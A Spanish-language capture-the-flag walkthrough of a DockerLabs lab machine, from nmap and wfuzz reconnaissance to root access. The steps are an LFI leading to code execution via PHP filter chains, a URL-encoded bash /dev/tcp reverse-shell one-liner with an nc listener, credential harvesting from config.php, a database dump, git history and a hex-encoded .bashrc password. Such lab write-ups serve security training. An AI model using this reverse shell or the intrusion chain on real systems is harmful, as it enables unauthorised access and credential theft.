



Vamos a desplegar la maquina vulnerable.

```
> sudo bash auto_deploy.sh report.tar
[sudo] contraseña para caan31:

      ##
      ## ## ##
      ## ## ## ##
      ~~~~~
      o
      ~~~~~

DOCKERLABS

Estamos desplegando la máquina vulnerable, espere un momento.
what
Máquina desplegada, su dirección IP es → 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
```

Haremos un escaneo profundo de los puertos abiertos de la maquina vulnerable.

```
> sudo nmap -sS -sSC -Pn --min-rate 5000 -p- -vvv --open 172.17.0.2 -oN Puertos
[sudo] contraseña para caan31:
```

```
> cat Puertos
File: Puertos
1 # Nmap 7.95 scan initiated Mon Nov  3 21:04:59 2025 as: /usr/lib/nmap
2 Nmap scan report for realgob.dl (172.17.0.2)
3 Host is up, received arp-response (0.0000070s latency).
4 Scanned at 2025-11-03 21:05:00 CET for 1s
5 Not shown: 65532 closed tcp ports (reset)
6 PORT      STATE SERVICE REASON
7 22/tcp    open  ssh      syn-ack ttl 64
8 | ssh-hostkey:
9 |   256 58:46:38:70:8c:d8:4a:89:93:07:b3:43:17:81:59:f1 (ECDSA)
10 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTY
11 |   256 25:99:39:02:52:4b:80:3f:aa:a8:9a:d4:8e:9a:eb:10 (ED25519)
12 |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE9qKfzI/z70vQrroF3oJEDlNu9yzm
13 80/tcp    open  http      syn-ack ttl 64
14 |_http-title: Gobierno Municipal
15 |_http-methods:
16 |_ Supported Methods: GET HEAD POST OPTIONS
17 3306/tcp  open  mysql     syn-ack ttl 64
18 |_mysql-info:
19 |   Protocol: 10
20 |   Version: 5.5.5-10.11.8-MariaDB-0ubuntu0.24.04.1
21 |   Thread ID: 7
22 |   Capabilities flags: 63486
23 |   Some Capabilities: Support41Auth, SupportsLoadDataLocal, IgnoreSi
24 |   ithDatabase, ODBCClient, FoundRows, InteractiveClient, Speaks41Protoc
25 |   Status: Autocommit
26 |   Salt: s[MQ./BA[(RHP:qMiHmn
27 |_ Auth Plugin Name: mysql_native_password
28 |_ MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Vemos que si vamos a la pagina nos redirige a esta dirección así que la pondremos en nuestro /etc/hosts

```
view-source:http://realgob.dl/
```

```
3
4 172.17.0.2 realgob.dl
5
```

Ahora vamos a gobuster y vemos que tenemos varias paginas.

```
wfuzz -c --hc404 -t 200 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://realgob.dl/about.php?FUZZ=/etc/passwd"
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://realgob.dl/about.php?FUZZ=/etc/passwd
Total requests: 207643

ID      Response  Lines  Word  Chars  Payload
-----
000000007: 200      96 L   373 W   4919 Ch  "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000015: 200      96 L   373 W   4919 Ch  "index"
000000001: 200      96 L   373 W   4919 Ch  "# directory-list-lowercase-2.3-medium.txt"
000000003: 200      96 L   373 W   4919 Ch  "# Copyright 2007 James Fisher"
000000011: 200      96 L   373 W   4919 Ch  "logo"
000000195: 200      96 L   373 W   4919 Ch  "in"
000000111: 200      96 L   373 W   4919 Ch  "26"
000000053: 200      96 L   373 W   4919 Ch  "archive"
000000196: 200      96 L   373 W   4919 Ch  "b"
000000112: 200      96 L   373 W   4919 Ch  "top"
000000104: 200      96 L   373 W   4919 Ch  "internet"
000000190: 200      96 L   373 W   4919 Ch  "wiki"
000000188: 200      96 L   373 W   4919 Ch  "web"
000000187: 200      96 L   373 W   4919 Ch  "s"
/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:98: UserWarning:Finishing pending requests...
```

La vulnerabilidad que haremos será de LFI, hay más en esta máquina, ya que explorando nos indica que se puede resolver de varias maneras.

Con wfuzz haremos un escaneo y vemos que nos lista desde el directorio file.

```
wfuzz -c --hc404 -dl 98 -hw 373 -bh 4919 -t 200 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://realgob.dl/about.php?FUZZ=/etc/passwd"
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://realgob.dl/about.php?FUZZ=/etc/passwd
Total requests: 207643

ID      Response  Lines  Word  Chars  Payload
-----
000000741: 200      125 L  408 W  6264 Ch  "file"
```

Lo probamos y vemos que tenemos el /etc/passwd.

```
view-source:http://realgob.dl/about.php?file=/etc/passwd

<div class="col-md-6">
66 <p>El Gobierno Municipal de Ciudad Ficticia tiene como objetivo princip
67 <p>Nos dedicamos a:
68 <ul class="list-group list-group-flush mb-4">
69 <li class="list-group-item">Promover la educación y la cultura como
70 <li class="list-group-item">Desarrollar infraestructuras sostenible
71 <li class="list-group-item">Fomentar la participación ciudadana en
72 <li class="list-group-item">Impulsar la economía local mediante el
73 </ul>
74 <p>Creemos que el diálogo constante con nuestros ciudadanos es vital pa
75 </div>
76 <div class="col-md-6">
77 
79 </div>
80 <div class="text-center">
81 <a href="http://realgob.dl/about.php?file=iniciativas.html" class="btn btn-
82 </div>
83 </section>
84
85 root:x:0:0:root:/root:/bin/bash
86
87 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
88 bin:x:2:2:bin:/bin:/usr/sbin/nologin
89 sys:x:3:3:sys:/dev:/usr/sbin/nologin
90 sync:x:4:65534:sync:/bin:/bin/sync
91 games:x:5:60:games:/usr/games:/usr/sbin/nologin
92 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
93 lpx:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
94 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
95 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
96 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
97 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
98 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
99 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
100 list:x:38:38:Mail list Manager:/var/list:/usr/sbin/nologin
101 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
102 _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
103 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
104 ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
105 galera:x:100:65534::/nonexistent:/usr/sbin/nologin
106 mysql:x:101:102:MariaDB Server,/,/nonexistent:/bin/false
107 systemd-network:x:998:998:systemd Network Management:/usr/sbin/nologin
108 sshd:x:102:65534:/run/ssh:/usr/sbin/nologin
109 systemd-timesync:x:997:997:systemd Time Synchronization:/usr/sbin/nologin
110 messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
111 systemd-resolve:x:996:996:systemd Resolver:/usr/sbin/nologin
112 adm:x:1001:100:/home/adm:/bin/bash
113
```

Ahora utilizaremos la herramienta `php_filter_chain_generator`

[illegible]

Lo que podremos hacer ahora es ejecutar comandos como si tuviéramos una consola, así que haremos una reverse Shell.

Reverse Shell Generator

IP & Port

IP

192.168.1.26


Port

443

+1

root privileges required.

Listener

 sudo nc -lvnp 443

Type

nc

Copy

Reverse

Bind

MSFVenom

HoaxShell

OS

Linux


Name

Search...

Show Advanced

Bash -i

Bash 196

 bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.26%2F443%200%3E%261

Nos ponemos en escucha.

```
> sudo nc -lvnp 443
listening on [any] 443 ...
```

Lo que tendremos que ejecutar en el navegador será de la siguiente manera.

```
http://realgob.dl/about.php?cmd=<COMMAND>&file=<CONTENT_GENERATE>
```

Ahora tenemos acceso a la maquina y vamos con la escalada de privilegios.

```
bash: no job control in this shell
www-data@acdbf2eb9ad1:/var/www/html$
```

Ahora listamos los directorios y vemos varias cosas interesantes, primero buscaremos config.php y vemos que tenemos la contraseña del usuario root en la base de datos.

```
www-data@acdbf2eb9ad1:/var/www/html$ ls -la
total 168
drwxr-xr-x 1 root root 4096 Oct 18 2024 .
drwxr-xr-x 1 root root 4096 Oct 12 2024 ..
-rw-r--r-- 1 root root 0 Oct 12 2024 LICENSE
-rw-r--r-- 1 root root 0 Oct 12 2024 README.md
-rw-r--r-- 1 root root 5226 Oct 18 2024 about.php
-rw-r--r-- 1 root root 1882 Oct 15 2024 admin.php
drwxr-xr-x 4 root root 4096 Oct 12 2024 api
drwxr-xr-x 6 root root 4096 Oct 12 2024 assets
-rw-r--r-- 1 root root 4314 Oct 15 2024 atencion_ciudadana.php
-rw-r--r-- 1 root root 3971 Oct 18 2024 cargas.php
-rw-r--r-- 1 root root 316 Oct 15 2024 config.php
-rw-r--r-- 1 root root 314 Oct 15 2024 config_.php
-rw-r--r-- 1 root root 3301 Oct 18 2024 contacto.php
drwxr-xr-x 1 root root 4096 Oct 14 2024 database
drwxr-xr-x 1 www-data www-data 4096 Oct 14 2024 desarrollo
-rw-r--r-- 1 root root 4447 Oct 14 2024 edo_cuenta.php
-rw-r--r-- 1 root root 0 Oct 12 2024 gestion.php
drwxr-xr-x 2 root root 4096 Oct 12 2024 images
-rw-r--r-- 1 root root 1818 Oct 18 2024 important.txt
drwxr-xr-x 2 root root 4096 Oct 12 2024 includes
-rw-r--r-- 1 root root 5048 Oct 18 2024 index.php
-rw-r--r-- 1 root root 20 Oct 12 2024 info.php
-rw-r--r-- 1 root root 3600 Oct 14 2024 iniciativas.html
-rw-r--r-- 1 root root 4301 Oct 15 2024 licencias_manejo.php
-rw-r--r-- 1 root root 6063 Oct 18 2024 login.php
-rw-r--r-- 1 root root 235 Oct 12 2024 logout.php
drwxr-xr-x 1 root root 4096 Oct 14 2024 logs
-rw-r--r-- 1 root root 0 Oct 12 2024 nominas.php
-rw-r--r-- 1 root root 4000 Oct 18 2024 noticias.php
drwxr-xr-x 3 root root 4096 Oct 12 2024 pages
-rw-r--r-- 1 root root 4745 Oct 14 2024 registro.php
-rw-r--r-- 1 root root 5326 Oct 15 2024 registro_civil.php
-rw-r--r-- 1 root root 4369 Oct 15 2024 servicios_salud.php
-rw-r--r-- 1 root root 2064 Oct 15 2024 styles.css
-rw-r--r-- 1 root root 6636 Oct 14 2024 transferencia.php
drwxrwxrwx 1 root root 4096 Oct 18 2024 uploads
```

```
www-data@acdbf2eb9ad1:/var/www/html$ cat config.php
<?php
$servername = "localhost";
$username = "root"; //
$password = "lacontramas poderosas detodas";
$dbname = "GOB_BD";

// Crear conexión
$conn = new mysqli($servername, $username, $password, $dbname);

// Comprobar conexión
if ($conn->connect_error) {
    die("Conexión fallida: " . $conn->connect_error);
}
?>
www-data@acdbf2eb9ad1:/var/www/html$
```

Nos metemos en la base de datos para ver que encontramos.

```
www-data@acdbf2eb9ad1:/var/www/html$ mysql -u root -placontramas poderosas detodas
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 16
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

Listamos todo y vemos que en las columnas nos encontramos con logs de git

```
MariaDB [(none)]> SHOW DATABASES;
```

```
+-----+
| Database |
+-----+
| GOB_BD   |
| information_schema |
| mysql    |
| noticias |
| performance_schema |
| sys      |
+-----+
```

```
MariaDB [GOB_BD]> SHOW TABLES;
```

```
+-----+
| Tables_in_GOB_BD |
+-----+
| transacciones     |
| users             |
+-----+
```

```
MariaDB [GOB_BD]> SELECT * FROM users;
```

```
+-----+-----+-----+-----+-----+-----+
| id | username | password | dni | direccion | nombre | telefono |
+-----+-----+-----+-----+-----+-----+
| 1 | adan | $2y$10$IBfPR1/zhLbcjeMz42BY/O.Qb2smhr4UYdyaet3UUvrd/txDxwHQC | Adan | | |
| 6 | | | 12345678A | Calle de Ejemplo 123, Ciudad Ejemplo | +34123456789 |
| 4 | yahir | $2y$10$6d2LbTMvvhkloPQPUDL./e4SCDDMjp6e09Qu62bS6C1VRkXeU501. | yahir |
| 5 | | | 23123 | La direccion mas prra #24 Colonia Grillo | 2325124523 |
| 5 | joaquin | $2y$10$slvTyHz6jzbSt8Q3lejcC03hSz/3lAZsWnH4.zJBRL83122M.zjz6 | joaquin |
| 0 | | | V2F9SK4 | Av Lautaro Calle Celeste #24 | 938572245 |
| 6 | Felipe | $2y$10$fJhC6773D4IjdwTbQ3JymeIRGCpGVYMZq23s7Lteq1NFeXVUhMozC | Felipe |
| 8 | | | GS8GVS | Colonia Centro Matamoros #232 | 728592354 |
| 7 | | | | | |
| 7 | Eduardo | $2y$10$Pv0A9MrBMJphE2J8t9ZZZu7f.hwq4MBq8ZRKqymAJbkF4eMACDFey | Eduardo |
| 8 | | | FG9S72K8 | Colonia Hernandez Monroy Av Eulalio #153 | 9784712841 |
| 8 | | | | | |
| 8 | Andrea | $2y$10$Hvr0/KwEIQQaMmUCWbXZFujw3/Zg4AGXDx2BcbFi0Y0Y7IfqhURnC | Andrea |
| 7 | | | F9S8GKA8 | Calle Av Universal Tamaulipas Centro #85 | 8237850302 |
| 9 | | | | | |
| 9 | vaxei | $2y$10$IPffhz9cfTzFtRzBwFrapeare4J7HLYvfA3q/ZP8Xx9zRoBF8lQE6 | vaxei |
| 4 | | | 938F8kG8 | Circuito del carmen #592 Bol | 893858224 |
| 66 | admin | $2y$10$hX7a7qAbulmNFfgmDzJEP0lxZbzR3jpdIJbyglA56C4beY923B9t0 | Administrador |
| 9 | | | | | |
| 9 | | | | | |
```

En la carpeta de desarrollo vemos que se encuentra .git, así que desde aquí buscaremos los logs

```
www-data@acdbf2eb9ad1:/var/www/html/desarrollo$ ls -la
total 36
drwxr-xr-x 1 www-data www-data 4096 Oct 14 2024 .
drwxr-xr-x 1 root     root     4096 Oct 18 2024 ..
drwxr-xr-x 8 root     root     4096 Oct 14 2024 .git
-rw-r--r-- 1 root     root     113 Oct 14 2024 changes_log.txt
-rw-r--r-- 1 root     root     6176 Oct 14 2024 index.php
-rw-r--r-- 1 root     root     175 Oct 14 2024 noticias_log.txt
-rw-r--r-- 1 root     root     168 Oct 14 2024 php_version_update_log.txt
-rw-r--r-- 1 root     root     140 Oct 14 2024 suspicious_activity.txt
www-data@acdbf2eb9ad1:/var/www/html/desarrollo$ cd .git/
www-data@acdbf2eb9ad1:/var/www/html/desarrollo/.git$ ls
COMMIT_EDITMSG  branches  description  index  logs  refs
HEAD            config    hooks       info   objects
www-data@acdbf2eb9ad1:/var/www/html/desarrollo/.git$ git log
fatal: detected dubious ownership in repository at '/var/www/html/desarrollo/.git'
To add an exception for this directory, call:

    git config --global --add safe.directory /var/www/html/desarrollo/.git
www-data@acdbf2eb9ad1:/var/www/html/desarrollo/.git$
```

Al ver que no nos deja, vamos a exportarlo a la carpeta /tmp y volvemos a ejecutar el comando que nos indica, ahora nos dejara ver los logs.

```
export HOME=/tmp
```

```
www-data@acdbf2eb9ad1:/var/www/html/desarrollo/.git$ git log
commit e84b3048cf586ad10eb3194025ae9d57dac8b629 (HEAD -> master)
Author: developer <developer@example.com>
Date:   Mon Oct 14 07:47:14 2024 +0000

    Cambios en el panel de login

commit 1e3fe13e662dacb85056691d3afc932c16a1e3df
Author: sysadmin <sysadmin@example.com>
Date:   Mon Oct 14 07:46:57 2024 +0000

    Actualizaci<C3><B3>n de la versi<C3><B3>n de PHP

commit cd04778b50b131f5041bd7f9e6895741d6f4b98b
Author: editor <editor@example.com>
Date:   Mon Oct 14 07:46:43 2024 +0000

    Actualizaci<C3><B3>n de contenido en el panel de noticias

commit 0baffeec1777f9dfe201c447dcbc37f10ce1dafa
Author: adm <adm@example.com>
Date:   Mon Oct 14 07:44:17 2024 +0000

    Acceso a Remote Management
```

Si miramos ese por adm, vemos que tenemos una contraseña.

```
01c447dbc37f10ce1dafa/var/www/html/desarrollo/.git$ git show 0baffeec1777f9dfe20
commit 0baffeec1777f9dfe201c447dbc37f10ce1dafa
Author: adm <adm@example.com>
Date: Mon Oct 14 07:44:17 2024 +0000

Acceso a Remote Management

diff --git a/remote_management_log.txt b/remote_management_log.txt
new file mode 100644
index 0000000..eafd8c6
--- /dev/null
+++ b/remote_management_log.txt
@@ -0,0 +1 @@
+Acceso a Remote Management realizado por 'adm' el Mon Oct 14 07:44:17 GMT 2024. Nueva contrase<C3><B1>a: 9fR8pLt@Q
2uX7dM^sW3zE5bK8nQ@7pX
www-data@acdbf2eb9ad1:/var/www/html/desarrollo/.git$
```

Nos metemos como el usuario adm

```
www-data@acdbf2eb9ad1:/var/www/html/desarrollo/.git$ su adm
Password:
adm@acdbf2eb9ad1:/var/www/html/desarrollo/.git$
```

En su directorio vemos que tiene un fichero .bashrc oculto.

```
adm@acdbf2eb9ad1:~$ ls -la
total 32
drwxr-x--- 1 adm users 4096 Oct 18 2024 .
drwxr-xr-x 1 root root 4096 Oct 15 2024 ..
lrwxrwxrwx 1 root root 9 Oct 18 2024 .bash_history -> /dev/null
-rw-r--r-- 1 adm users 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 adm users 3824 Oct 15 2024 .bashrc
drwx----- 2 adm users 4096 Oct 15 2024 .cache
drwxr-xr-x 3 adm users 4096 Oct 15 2024 .config
drwxr-xr-x 3 adm users 4096 Oct 15 2024 .local
-rw-r--r-- 1 adm users 807 Mar 31 2024 .profile
adm@acdbf2eb9ad1:~$
```

Lo miramos y nos encontramos con una contraseña en hexadecimal.

```
export MY_PASS='64 6f 63 6b 65 72 6c 61 62 73 34 75'
```

Recipe

Magic

Depth 3

☐ Intensive mode

☐ Extensive language support

Crib (known plaintext string or regex)

Input

64 6f 63 6b 65 72 6c 61 62 73 34 75

Output

Recipe (click to load)	Result snippet
From_Hex('Space')	dockerlabs4u

La probamos con root y vemos que nos logeamos correctamente.

```
root@acdbf2eb9ad1:~# whoami
root
```